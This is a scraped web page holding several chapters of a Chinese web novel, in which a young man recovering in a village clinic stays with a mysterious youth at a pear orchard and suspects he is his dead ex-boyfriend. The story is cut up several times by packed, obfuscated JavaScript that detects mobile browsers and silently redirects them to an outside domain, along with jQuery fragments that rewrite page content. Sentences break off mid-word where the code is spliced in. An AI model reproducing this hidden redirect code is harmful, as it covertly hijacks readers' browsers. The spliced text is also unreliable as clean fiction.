RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645616|172169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出几张纸币数了数,然后问双锦:“你想吃什么呀,旁边的集上有卖油条、包子还有茶叶蛋的,还有一家卖蜂蜜面包的你吃吗?” 双锦没理他,他对昨晚的事耿耿于怀,不信任也不理会少年。 少年没得到回话,脸上的笑容淡去一些。 他抿着唇闷着脸站了半分钟,确定双锦确实不理他后才出门了。 房门关上之前双锦还听到他嘀咕着说:“好冷漠的人,可恶,我要饿死你。” 双锦:“……” 他出门后,医生也很快离开了,临走前还把窗帘拉开了,“你们年轻人就喜欢这种黑布隆冬的环境,能不能把窗帘拉开?” 骤然涌入的光明让双锦眯了会儿眼睛才慢慢看向室外。 病房在一楼,窗外是医院的大院,中间是一个风化长草的假山,周围一圈围栏墙上的瓷砖已经褪色,双锦在看到院子对面的病房时意识到这不是一楼,而是平房。 这是一家保留着十几年前旧风格的村镇医院,和城市的医院相比,这里看着有些陈旧落后,但却有一种不一样的宁静和松弛。 就比如他看到刚才气哼哼出门的少年骑着一辆掉漆的自行车拐进了大院。 虽然嘴上说要饿死双锦,但是少年的车把上挂了很多东西,有粥和包子之类的,还有一大块切成方形的蜂蜜面包,以及一袋子红苹果。 双锦看着他将自行车停在墙边,把车把上的塑料袋一一取下来。 恰好在此时,病房门再次被打开。 是负责统计信息的护士。 “昨天晚上你昏迷了,好多信息还没统计好,这里需要补充登记一下。” 但双锦的视线还凝在窗外。 他看到少年走到半路时装苹果的塑料袋忽然漏了,掉出来几个,于是拎着东西小跑着到处去捡。 “呃,患者你有在听吗?” 护士来到他的身边,好奇地沿着他的视线向外看去,“窗外有什么好看的啊?” 她不知道看到了没有,只瞥了一眼就收回了视线。 而双锦的视线紧接着从窗外收回,看向了护士。 “你能看到他吗?” 护士愣了一下,“什么?” “那个捡东西的男孩,你看到了吗?” 12.打车 护士再一次顺着他的视线看过去,这回看得认真一些。 她的眼神略带诧异,但是表情很自然,没有因为双锦的话感到怪异或者恐惧,反而有些恍然,“哦,他呀,刚才他还去问我热水机在哪呢,他是你弟弟吗?你这么问是想让我叫他进来陪你吗?” 这话说得很正常,和少年口中的行为轨迹相符,双锦脸上没什么表情,他的视线在护士脸上和工牌上晃过,没有回答而是微微笑了下,表情有些无奈和腼腆:“我的视力不太好,能帮我看看他在捡什么吗……我担心他一会儿把捡的东西给我吃。” “哦,他在捡苹果啦,”女孩看着他,脸上顿时笑了起来,“一会儿我帮你提醒他洗干净。” 双锦笑着点头,“谢谢。” 他们说话的功夫,少年已经把掉落的几个果子捡了起来,他支起一条长腿用膝盖撑着手里的东西,将塑料袋重新系好,期间还有过路的医生帮他搭了把手。 一切都看起来真实又自然。 双锦漠然地将视线从窗外收回。 配合护士将工作做完后,双锦独自待了大约两三分钟少年就回来了。 他两手拎着东西,用肩膀顶开房门,进门的瞬间脸上还洋溢着笑容,但和双锦目光接触后的一秒钟后忽然眼珠一转,将高高扬起的嘴角压下去了。 双锦靠在枕头上坐着,看着少年拎着东西沉着脸走到他身侧,脸色看起来冷冷的,但他的脸很白,和双锦的苍白不一样,他又白又通透,珠白柔腻,看起来毫无威慑力。 “怎么了?”双锦难得理他一下。 少年说:“你是不是告我状了?” “我听不懂你在说什么。” 少年不信,“肯定是你,不然护士站的姐姐为什么看到我就让我去洗苹果,还说不准我把掉地上的苹果给病人吃?她们在护士站又看不到,肯定是你看到告我状了。” 他说完又愤懑不平地补了一句:“我对你这么好,你还告状,好无情。” 双锦闻言微微挑了下眉,“那为什么还回来?如果我是你就骑上自行车回家去,反正……素不相识不是吗?” 少年像是没听懂他话中的深意,哼了声撇过头去,“我可不像你这么冷漠无情,我是人间真情。” 双锦:“……” “行了,看在你是病人的份上不和你计较了,”他从塑料袋中取出一个刚洗过还带着水珠的苹果,自己先舔舔嘴唇迫不及待地啃了一口,然后把剩下的半个递给双锦,嘴里含糊不清的,“很……甜,你尝尝。” 苹果鲜红饱满,看起来确实很甜的样子,但上面有一圈牙印,很圆的一大圈,一口下去没了半个。 双锦看都不看一眼。 察觉到他嫌弃自己,少年脸上又是一愤,他在双锦身上一而再再而三地自讨没趣,每次都生气,但气得很短暂,于是病房里沉默了十几秒钟后,他又沉着脸把蜂蜜面包递给了双锦。 这回双锦倒是有反应了,不过他没接,只是摇了下头。 少年把面包放回桌子上,很善良地劝他:“低血糖会死人的,医生不是让你吃早饭吗?” 然而双锦却问:“我的手机呢?” “手机?”少年表情诧异,“不知道啊,你手机没了吗?不是我拿的哦。” 双锦闭了闭眼,没有说话。 无论是谁拿的,还是丢在了哪里,手机找不到了是件很麻烦的事。 这里距离他居住的地方有至少五十公里,想打车都要先坐公交到市区,他身上没有纸币,如果手机丢了还是挺麻烦的。 钟敏卉家应该在不远处,但…… 相识多年的人接二连三地死去,怪事接连发生,双锦有些抗拒再接触这些事。 然而这也是没办法的事了。 他想现在就去找钟敏卉家阿姨借点钱,但却还是觉得身体有些虚软,于是又在床上休息了一会儿,期间受不了少年唠叨还是吃了一点东西。 少年拿了个包子给他,双锦对食物很挑剔,他先将里面的油都倒出来,又研究了半天肉馅有没有泛红不熟的情况,确认这是能吃的东西后才试探着咬下去。 半个热乎乎的包子下肚,苍白的脸色肉眼可见地好了很多,连嘴唇都因为沾了油泛起一种健康水润的红。 经过消化吸收所带来的鲜活的能量与注射葡萄糖所带来的感觉截然不同,双锦掀开被子想要下床,却发现鞋子并不在床底。 “才刚让你好一点,又想去哪啊?”头顶上有个声音不轻不重地问他。 双锦抬头。 一张青春勃勃精致秀丽的脸映入眼帘。 从双锦的角度能看到他密长的睫毛,以及深黑的瞳孔,此时正透过阴影居高临下地看着他。 一种异样的警觉冒出尖,双锦直起身,但不能他做什么,少年忽然躬下身,一手抓住了他的手腕。 “你不会想就这么走了吧?” 他想把手挣脱,却发现对方非常有力量。 察觉到他的挣扎,少年微微用了下力气,将他向自己扯了一下。 双锦维持着坐在床上的姿势向前滑了一下,两人的距离瞬间靠近,他警觉地伸出另一只手抵在少年的肩膀上,防止撞在一起。 “你想怎样?” 少年歪头,“我不怎样,但你还欠我医药费呢,还有打车钱,还有我的一筐梨,因为救你扔下了,你得赔我,还有我跑前跑后地陪着你照顾你,你也得补偿我。” 这没问题,如果他一分钱不要才是真的可能有问题,双锦问他:“可以,你想要多少?” “我为了照顾你一晚没睡呢,”少年露出一排整齐的牙齿,眼睛也弯成小桥,“可以给我2000块吗?” 从村里打个车去同一条街道的医院,只是输了液,即便加上他的护工费,要2000块吗?显然不必。 但双锦很痛快地答应了。 一个素不相识的人一味对你好,其实并不容易得到信任,但如果这个人为你好的前题是有所图谋,那反而容易让人相信,人大多都是这样,因为相信别人需要理由。 所以在少年开口就是两千块的时候,双锦一直提着的心反而略微松了一些。 “但我的手机丢了,我要先回家才能给你钱,你如果不放心可以和我一起回去,但你要帮我叫车。” 少年答应了。 半个小时之后,少年带着双锦从医院出来了。 双锦出了医院才发现这里仍然是村子,但不是钟敏卉的钟家村了,他不知道这是哪里,少年告诉他这是宋庄。 “来,坐过自行车吗?上来我带你。”少年跨上自行车,示意双锦坐在他后面。 双锦看了眼后座,用指背擦试了一下,发现还算干净,犹豫着上去了。 少年人很年轻,但自行车骑得很稳,细心地躲避开路上的坎坷,一路稳当当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651444|172169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地带着他走过两个路口,很快找到了村上的一个大娘家。 大娘姓王,他的儿子是出租车司机,王大娘说他儿子一般会在下午回来,让他们在家里坐着等一等。 现在只有上午十点,等到下午要好几个小时,双锦立刻就想走,但少年拉住了他。 “我知道你不想等,但是我们村子很小,村里的车都是年轻人的,年轻人在工作日都出去打工了,你如果不等王大娘的儿子回来实在打不上别的车。” 双锦皱眉,向周围的街道和胡同看了看,发现确实如少年所说,房子门前能看到自家搭建的车棚,但是看不到车。 与此同时他从少年的口中发现了一个信息,“你不是钟家村的人?那你昨天晚上为什么在钟家村?” 少年走在前面,从王大娘家的耳房中找出一把折叠椅和一个矮凳。 他把折叠椅打开给双锦,然后自己坐到矮凳上,仰头看双锦的那双眼睛有些圆,无辜又明净,“因为昨天初五,钟家村赶集,我要去卖我的梨。” 他说完又补充道:“今天初六,我们村赶集,我现在本来应该在做买卖的……” 双锦从他的表情中看出,剩下的半句话是“被你耽误了”。 “抱歉。” “没关系。”少年笑。 两人在王大娘家门口坐了一会儿,彼此之间沉默无言。 气氛有些凝滞,但农村的空气很干净,太阳晒在身上的感觉暖洋洋的,双锦在躺椅上躺了一会儿就开始眼皮打架。 昏昏欲睡之时,他忽然发现眼前一黑,熟悉的记忆让他倏忽睁开眼,发现是少年站在他正前方。 他手里拿着早上吃剩下的早餐和几个洗净的苹果,见双锦醒来将东西放到他大腿上,“我让王大娘把饭热过了,你饿了就吃,我要离开一下去卖一会儿梨,不然就错过这个集了。” 双锦没理由不让他去,他没说话,默认了。 少年走之后,王大娘也抱着一捆芹菜出门了。 双锦一个人在门前等,时间一点点过去,他没有手机不知道现在是几点了,只能看到地上的影子在一点点动。 虽然试图找到其他人帮助自己,但不知是不是今天赶集的缘故,双锦在最近的几条街道寻找了一下,都没见到什么人,仅有的几个老人说着口音严重的方言,双锦不是本地人听不明白。 这种仿佛孤岛似的处境让他逐渐感到有些焦躁,而随着日光的温度降低,这种焦躁越发强烈。 就在双锦打算独自离开时,少年回来了。 他拎着很大一个筐子,头上戴着一顶鸭舌帽,一路走到跟前,将筐子随意扔到地上,“王大娘的儿子下午喝酒去了,不能开车了,你今晚要不要先去我家?” 说完他向双锦眨了眨眼睛,“我家只有我一个人。” 双锦的脸上漠然一片,没有任何表情,“你骗我。” 少年摇头,“不信你问王大娘啦,我走的时候她在收摊,很快就回来了。” 说完他在裤子上擦擦手,然后把双锦躺过的折叠椅收拾起来,和矮凳一起放回王大娘家的耳房。 或许是真的很年轻,这种夏天里他身上的衣服都脏了皮肤却没有汗湿,仍然白玉似的通透,活动时肢体的线条也流畅优美,秀骨姗姗。 “楚雪镜。” 双锦看着他的背影,猝不及防地开口。 一霎那,少年的动作一顿。 13.真难吃 但只是一眨眼的功夫,就好像双锦看错了一样。 随后少年把东西摆放好,从耳房出来,将丢在门口的大筐子重新捡起来单手挎在肩上,他长得青春白净,朝气勃勃,像校园爱情小说中的校草男主,但干活的一系列动作却很熟练,像早就干习惯了体力活。 “饿不饿啊?”他走到双锦身边,笑吟吟地和人说话,睫毛卷卷的看起来甜蜜无害,一边说着他用空着的左手从裤兜里掏出一卷纸币塞进双锦的手中,“今天刚赚的,想吃什么带你去买。” 那是一些面额不等的零钱,最大的一张十块,最小的只有五毛,双锦将它们展开数了数,一共一百二十块五。 双锦拿着钱,呼吸都有一瞬间的停滞。 大概七年前,在去高考前集训的前夕,也有人塞给了他这样一卷钱。 他拿这笔钱买了火车票。 那是双锦第一次坐火车,他靠在窗框上看着外面的花花世界,心里想着的是楚雪镜。 楚雪镜是怎么赚的这些钱呢? 他的朋友说他每个周五的晚上都会早走,那他去打工了吧,他打过多少次工?又在炎热的夏天里搬过多少次重物?那些东西是不是像他家的衣柜一样沉重? 楚雪镜多大了?好像只比自己早几个月,刚成年半年而已,双锦自认为自己还是像个孩子一样,不擅长社交,也没有赚钱的意识。 但楚雪镜却已经能靠自己赚钱,甚至能帮助他了。 在别人都还在象牙塔中迷茫的年纪他已经像个顶天立地的男人了。 甚至这对他而言不是必要的,因为他家庭完全可以负担得起他的任何费用。 ……那他挣这些钱是为了什么? 火车咣当咣当驶向远方,载着一颗怦然悸动的心。 “我不要你的钱。”双锦把钱塞回少年的手中。 “才不是给你,是借给你,你要还给我的,”少年也没拉扯,他把钱重新放回口袋,语出惊人,“不过你不想要钱想要什么?想要古含林?钟敏卉?还是……楚雪镜?” 双锦倏地看向他。 少年神色无辜,“昨晚你就在说他们啦,所以他们是谁?” “我的朋友和前男友。” “哦,那现在呢?” 双锦移开视线,不想再说这个,把讨论的话题放回重点上,“和你无关,这里没有酒……旅店吗?” 少年嘻嘻笑:“这里可是山村,只是丢了手机想回去就很困难,你认为会有人来这里旅游吗?” “……” “走吧就去我家,”一条修长有力的手臂揽住双锦的肩膀,少年低头靠近他耳边,“防着我干嘛,如果我是坏人昨天晚上你昏倒时就做坏事了。” 双锦瞥了他一眼,将他推开。 * 少年用自行车载着他,不紧不慢地沿着村里的主路走。 太阳的温度一点点散去,余辉落在身上只有淡淡的温热,道路两旁没有像城市里一样种植景观树,但农村并不乏植物,目之所及花木扶疏。 自行车的后座本来是宽敞的,但是被少年在车轮一侧绑了个藤条筐子,这就导致双锦不能跨坐,只能侧坐,稍微一点颠簸就会让他往前晃。 偏偏这条路似乎格外不平整,晃得他不知多少次撞在少年的后背上。 他试图用手臂隔开距离,却猝不及防地被抓着小臂拉到前面,由推变搂地环在对方腰上,夏季的衣物单薄,手臂放上去的一瞬间就能清晰地感觉到对方结实紧致的腰腹。 双锦立刻就想挣开,但或许是干惯了体力活的原因,少年的手很有力气,让他丝毫动态不得的同时还能语气轻松地提醒:“你不要乱动,这条路很容易摔跤的,前段时间还有不听话的小孩从自行车后面掉下来,把两颗门牙都摔掉啦。” 双锦:“……” 他们一路走了大约半个小时,最终来到一套依林傍湖的瓦房,房子前面有一个大平院子,再往前是一大片果树林,后面是湖。 双锦小时候也曾经在农村生活过,所以他知道这不是村里的宅基地住房,而是建在果园中看园的房子。 他的目光在望不见尽头的梨园停驻,不知在想什么。 少年把自行车随意地停在一边,“可惜了,没能在春天带你来,不然就能看到漫山遍野的梨花了。” 双锦上前一步回过头去,少年不知何时竟然站在了他的身后。 像是没发现双锦的小动作,也不介意双锦的冷淡,他敞开双臂,任由穿过树林的晚风拂过勾勒出修劲挺拔的身体,语气怅然,“我的最喜欢的人曾经一直想让我带他来家里的梨树园,我答应了他好多次却都食言了,也不知道他现在若是来了还会不会开心。” “是吗?”不知道是不是傍晚的光线格外晦暗,双锦的目光有些散,“像我前男友一样,他承诺了我,却骗了我。” “哦?”少年脸上涌上好奇,“楚雪镜吗?那他现在怎样?” 双锦言简意赅:“死了。” 少年顿时又一脸惊讶的样子,“那真是太不幸了,所以你现在还是很爱他,经常想念他吗?” 空气有一瞬间的安静,晚风送来一些花果的清甜芬芳,双锦仰起头,少年也含笑和他对视,夕阳下的眼底流光溢彩。 双锦难得地笑笑,但是笑容转瞬即逝,双唇一碰,却是又偏过头去,“关你什么事?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662425|172169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我八卦嘛!”少年弯起眼睛,拉着他进屋。 房子虽然是田园里的看园房,但出乎意料,里面的装修和布置接近城市里的商品房,该有的生活设备也都有,即便没有在农村住过的人也能够适应。 双锦站在窗前看了一会儿在院子中的小菜园里摘菜的人,伸手用指背蹭了下窗台,指背很干净,窗明几净,没有灰尘,可见房子主人收拾得很用心。 “你要吃什么?”少年抱着一大捧叶片肥硕的菜,也不等双锦答话,就自顾自地去厨房了,“我现在就给你做。” 喜笑颜开的,好像有什么开心的不得了的事似的。 双锦看着他在厨房忙活,霹雳乓啷,声势浩大,欢天喜地,烟熏火燎。 他默默向门外退了两步。 将近一个小时之后,两人坐在露天的院子里吃上了晚饭。 晚风清凉,吹散夏季的潮热,很舒服,晚餐也还不错,起码荤素搭配,还有六个菜。 对于少年的劳动成果,双锦没有评价好与不好,他很安静地吃着,用筷子夹起来一片菜叶放进口中,好几分钟后再换另一个菜,再夹起一片菜叶。 少年手中的筷子一直没动,只看着他,看了一会儿后他问:“我做的菜好吃吗?” 双锦却只回了他另一个问题,“你叫什么名字?” “你可以叫我小帅,”少年笑,牙齿白白的,玉颜朱唇,“你觉得我帅吗?” 双锦像没听到后面那句,只说:“真是个很时髦的名字。” “我也这么觉得,”少年开心地给他夹了块腊排骨,然后将一直没动的筷子放下,撑着脸颊看他,“那你叫什么?你还没告诉我呢。” 青年将口中的菜咽下,没动他的排骨,撩起眼睫看向他。 他的这张脸上数眉眼长得最好,曼丽清绝,是无情也动人三分的极致冽艳,然而这么美的眼中眼神却毫无力道,死水沉潭似的无波澜。 双锦垂下眼睛俯视着他,少年维持着手肘撑着膝盖的姿势仰面和他对视。 彼此视线交织时,一点不清晰的微波在沉潭中荡起,明明很微弱,但是人就是喜欢不易得不易见的东西,向来安静的水面忽起波澜才格外清晰格外动人。 他极快地眨了下眼睛,唇角勾起,“不告诉你。” “还有,小帅……”他从矮凳上起身,从少年身旁走过时拍了下他的肩膀,“别做饭了,你做的菜……”他俯下身,声音低低柔柔的,“真难吃。” “……是吗?” 好几秒钟后,少年才挑了下眉,黑眼瞳沉落在修长的眼尾,视线粘着在自己肩头那片晃眼的白上。 “我保证会让你如愿回家的。” 14.吃了就吃了 “为什么让我打地铺?” 晚上十点,双锦从浴室出来,身上穿着少年给准备的衣服,一件略显宽松的T恤和一条长到膝盖的短裤,都是柔软透气的纯棉布料。 他没用少年给的毛巾擦身体,用暖风简单吹了吹就穿上了,衣物外的皮肤还在因为热风而沁着粉色,难得的看起来气色红润。 “因为我是客人。”看着少年铺好床后他上前检查一下床单和被套的布料,确认柔软干净不会让自己容易敏感的皮肤不适后,客气地请房主人打地铺,而他要睡在房主人刚铺得柔软整洁的床上。 对方不乐意,抬手捏走一颗他刘海发尖上坠着的水珠,还带着沐浴用品的水珠濡湿了指腹,香喷喷的,“我们为什么不能一起呢?反正床很大,我不会打呼噜的,哦,如果你打我也不会嫌弃你的啦。” “不行,”双锦拒绝了。 “为什么?啊……”他露出恍然的表情,嘻嘻笑,“我是个直男,真的。” 双锦对他的话不置可否,但他抬手挡住了少年又要动自己头发的手。 “为什么不像在医院时一样装笨蛋了呢?你那样更可爱……小帅。” 少年把探出去的手收回,在空中打了个响指,“为什么不认为我现在是在装聪明呢,没准可爱的我才是真实的。” “随你吧,”双锦坐在床上,将脚从崭新却合脚的拖鞋中探出,掀开被子,“那就麻烦你变回笨笨的样子吧。” “关上灯谢谢。” …… “喂。” 几乎要睡着时,躺在床边地板上的人忽然出声,将即将入梦的人唤醒。 即使看不到对方,双锦还是睁开了眼睛,“怎么了?” “今天开心吗?”说这句话时对方的语气没有玩闹的意味,不过也没有多严肃,松松懒懒的,好像只是随便问了这么一句,并没有抱什么期待。 但恰好这样简单的一句话是双锦最不擅长回答的,也很少会去思考的问题。 情绪在双锦看来是不值得去思考也不值得在意的,今天让自己伤心的事或许明天就会遗忘,开心也是,今天很开心,明天未必,所以为什么要在意瞬息而变的东西呢? 所以他回答了,却摸棱两可,“或许吧,谢谢你。” 这个回答可谓非常不会捧场,如果是素不相识的人做了这么多却只得到这样的答案一定会伤心,甚至有可能会生气,而少年也确实没有再说话,不知道是不想理会双锦了还是已经睡着了。 确定对方不会再说话后,双锦闭上了眼睛,“不可以再叫醒我了。” 这一夜睡得很不错,窗外没有车流的喧闹,只有安静的昼夜交替。 双锦难得的睡得很好,以至于都不知道什么时候少年就不见了。 * 墙上的老式挂钟显示的时间是早上七点半。 厨房的锅里有两个温热的鸡蛋和一个包子,门口的自行车也还在,说明人没有走远。 去哪里了呢? 双锦没吃东西,在这周围走了走。 和城市中一早就兴起的喧闹截然不同,乡村的早上很安静,空气也很清爽,梨园中的果木清香和湖面上蒸腾出来的水汽混在一起,湿润又清香,皮肤的感觉凉浸浸的,全然没有水泥钢筋捆成的高楼大厦带来的闷热感觉。 双锦围着房子走了走,意外发现这里原来不仅有少年一个住家,他清楚地看到有个中年男人在湖边用小兜网捞鱼,或许是看的时间久了,男人忽然抬起头向他看过来。 虽然两人距离有点远,但双锦还是看得出对方似乎很惊讶,远远地看到他后手里拎着的水桶都掉在了地上,还伸手揉了揉眼睛,一副不可置信的样子。 “你醒啦!”双锦想走上前去看看,但在此时身后忽然有人叫他。 他回过头,毫不意外地看到少年。 对方拎着一根还在断断续续涌出水来的管子,裤脚挽起到腿弯,裸丨露出来的双腿修长笔直,皮肤在晨光中像雪,像白炽灯,白得过分又通透,但是这片雪上却沾染了泥泞,脚上的鞋子也弄脏了,看起来像在泥地中踩踏过。 “我去浇地了,”他把彻底不再出水的管子随手扔到地上,用手背擦了把并没有汗水的脸,“很有趣,要和我去看看吗?” 双锦看着他。 他的背后,明净通透的晨间日光从树林枝条间斜斜地洒落在地上,在湿润芬芳的空气胶体中散射出美妙的丁达尔效应,有种让人眩晕的美感,与少年晏晏含笑的面容美得互不相让。 双锦就这么答应了。 不过只过了三分钟他就后悔了。 少年浇得是梨树园里采摘过的果树,此刻他站在刚淋过水的土地里,吸饱了水分湿透成浆的土没过了他的脚背,到处都是泥泞。 双锦难得的双眉紧促,满脸排斥。 “来嘛,”少年将手在裤子上擦干净后伸向他,“没关系,我扶着你,树林底下有树莓,你下来我去摘给你。” 双锦从小在城里长大,从未踩过泥土,更何况是这种湿泥,这让他排斥却又好奇,所以犹豫了许久,还是脱下鞋子踩了进去,他没去接少年的手,自己提着裤脚踩在了湿漉漉的土地上。 泥土湿润柔软如膏似浆,在他的双脚落下来的瞬间包裹上来,贴着脚心钻入指缝,这种感觉又凉又软,很舒服,甚至有些美妙,比他想象的要好很多。 少年走在前面,不时地回头看看他,双锦慢悠悠地走在后面。 他不知道对方要做什么,但是踩着湿润细腻的泥土穿梭在树荫下的感觉很美好,这种感觉无法描述为开不开心,但好像一瞬间就可以放下很多,一切都可以暂时不去想,有些接近儿童时期的心态。 “尝尝。” 双锦还未反应过来,一个红润娇嫩的果实就送到他的唇边,他垂眼确认了对方的手是干净的后才张开口含了进去。 “甜吗?”少年问他。 闻言双锦将它轻轻抿碎,小小的果实很柔软,舌尖一碰就流出汁液。 下一秒,他被酸得双眼紧闭。 “哈哈哈你的表情真好笑。”等到对方毫不掩饰地笑出来时,双锦才意识到自己被骗了,他睁开被酸地泛起水光的眼不轻不重地瞪了对方一眼,有些生气地要往回走。 但是刚走了一步,眼前的世界就晃起来,接着他的脚离开了地面,“你做什么?!” 身后的人在他转身的瞬间忽然上前一步强迫他转过身来,然后两只手紧扣在他的侧腰盆骨的位置上,硬生生把人举了起来。 双锦想挣扎又怕两个人一起摔进泥泞中,只攀住对方的肩膀稳住身形。 然后就这么被举着放到了一棵粗壮梨树的树枝上。 双锦很瘦但树枝还是轻微晃了晃,一个坠在枝头的梨子在晃动的瞬间偷偷探过头去碰了下他的面颊,一触即离,含羞似的。 “你在这等着,我给你摘甜的去。” 他说完就径自向远处走去了,在一脚深一脚浅的泥泞中如履平地。 在他走后双锦试图从树上下来,这树杈不算高,大概一米二三的样子,如果底下是干爽结实的地面那跳下去很简单,但是这里泥土松软且到处是泥泞,哪一下踩下去能陷到小腿,双锦怕崴到脚,更怕摔得满身是泥,当然这二者还有可能同时发生。 于是少年回来时就见到他还像之前一样坐在树上,安静地扶着树干,看起来颇为乖顺的样子,两条修瘦的小腿垂下,细致的线条一直延申到被泥土弄脏的脚踝,脚背像玉一样。 他毫不掩饰,竟然直接走上前握住了脚踝下那片白皙的足背。 然后被受惊的人用另一只脚低着胸口踹开了。 “你做什么?” 被踹的人没说话,他看着那只被自己抓了一把的脚蜷缩到另一条小腿后面,才慢悠悠地笑笑,浑然没事人一样露出灿然笑容,说话的尾调上扬着,好像刚才的事和他没有一点关系,“怎么啦,我给你摘了桑葚,你吃吗?这次真的不酸。” 说完他真的从上衣口袋中掏出一把深紫红的果实,高高抬起手递到双锦面前。 果实硕大饱满,有的已经开始渗出粘稠的汁液,一看就很甜,但青年蹙眉撇过脸去,“你刚碰了我的脚。” “那好吧,”少年把果实洒在树旁的蚂蚁洞,然后向他展开双臂,“该回去了,中午还要做饭呢,你跳下来我接着你。” 双锦认真打量他。 少年似乎走惯了这种土地,两条劲瘦修长的腿踩在泥土中,腰腹紧致且微微后仰,肩膀宽阔,两条手臂看起来暗含力道,很稳当的样子。 “可以吗?” 少年点头:“当然了。” 他想对方再怎么耍滑舌也不至于想要和他一起摔成泥猴子,又不是小孩子了,不会这么幼稚的,所以应该是真的可以。 于是他再一次相信了。 “你扶我一下就好了。” “哈哈哈好!” 两个人胸膛相贴的一瞬间,双锦再一次后悔了。 他根本没感觉到对方的力道,少年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664016|172169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟然当场变卦,该接为搂,硬是环抱着他向后仰去,两个人一起栽进了湿软的泥浆中。 他倒在对方身上倒是没有摔痛,但是爬起来的一瞬间却又被用力按了下后腰,膝盖一滑再一次躺在了对方身上。 身体的皮肤感觉到渗入衣物的湿润粘腻时,双锦终于显而易见的怒了,他抓住身下人的手臂一个翻身,这是个很常见的打架的动作,而少年也毫不反抗,于是滚下去的霎那他更后悔了。 虽然将人甩了出去,但是自己也在泥里滚了一圈儿,更湿更脏了。 衣服外的皮肤除了脸几乎没有干净的地方,而身上的衣物也一言难尽。 双锦一辈子都没这么狼狈过,简直脏得放肆,像野人一样,他绝望地想要站起来,但是被他甩出去的人却反扑上来得更快。 再一次被按倒的时候双锦已经要气昏了,他冷着脸和对方扭打在一起,在泥地里像野猫野狗一样翻滚。 他打人,对方把他按倒。 不知道闹了多久,筋疲力竭地被迫仰躺在地上时,他看着眼前这张青春昂扬的脸上畅快的笑容,忽然有一种感觉……对方或许就是为了这一刻才一大早浇的地。 “你真是够了!” 凌乱难言的场面,两个如刚出土的莲藕一样的人,到处都是脏乱一片,唯有彼此的眼睛是干净的,一怒一笑的视线撞在一起时,世界仿佛安静了一秒钟。 “双锦……” 被泥土弄花的脸在眼前放大,世界好像忽然变得很远,一切都变得模糊,只有触觉和听觉格外清晰。 如交缠的呼吸,错乱的心跳和相抵的额头。 * “我在你的病例单上看到的你的名字,我想你不会介意的吧?” 一盆水在盛热的中午当头淋下所带来的清凉舒爽让呼吸都为之一滞,双锦缓了许久才吐出一口气。 他抹了把脸,重新睁开眼睛,被湿透的睫毛一簇簇的,深黑浓重,眼睫下的瞳孔澄澈如水镜,能映出人的影子。 他没说话,只是再次闭上眼睛,迎接另一盆从头淋下的清水。 泥污被水流带走,清洗出来的皮肤干净洁白如新藕。 双锦的身上还穿着衣服,露天的院子里他不能接受脱掉衣物,当然也做不到在人前脱衣,但少年却已经褪去上衣,露出这个年纪特有的肌肉结实却又线条缓和优美的身体。 他重新接了一盆水用更粗暴的方式从自己头顶淋下,等到水流尽时抹了把脸,“虽然很狼狈,但是什么都不用想的感觉很好吧?” 好像说给自己听,又好像是说给别人听,他不需要得到回应也能自己心平气和地自说自话,“曾经我喜欢的人告诉我他想和我过这样的日子,没有那些讨厌的人,不会因为其他人而喜怒哀乐,只和自己最喜欢的人在一起。” “双锦……”他向前一步,很大胆很放肆地环抱住眼前人,深深低下头去,用下颚抵在对方肩头,“你喜欢这样吗?就这样永远生活下去,只有两个人,从此再也不用看到其他人。” 双锦侧过头去,努力避开紧贴在颈侧的呼吸,长久地没有说话。 “曾经……我对我的前男友也说过这样的话。” 他转过头来,重新和身前人对视,“我说我想和他去乡村生活,只有我们两个人,但其实……我是骗他的。” 少年的眼神中没有任何惊讶,平静地等待着他的后话。 双锦轻轻勾了下嘴唇,笑容一闪即逝,“我从未在乡村生活过,其实并不向往乡村的生活,我也不想在只有彼此的世界里生活,甚至我没有他想的那么爱他,我只是在骗他,因为我觉得这样的谎言能让他认为我非常爱他,进而更喜欢我。” “所以这只是一个在我看来不可能成真的幻想,一个我说完就会忘记,不会去承诺的情话,只是一个画饼而已,我没想到他那么聪明竟然吃下去了。” 出乎他的意料,即便听了这种话对方仍然没有什么反应,好像根本就无所谓的一样厚,脸上的表情甚至都没有变一下。 “或许是,但那又怎样?”他只是忽然挑起眉,似笑非笑,神情中细看居然有几分欣慰,“正如你说的,你想让他喜欢你,那无非只是因为你爱他,不然你怎么不骗别的东西?怎么不骗别人?” 双锦怔怔地抬头看他。 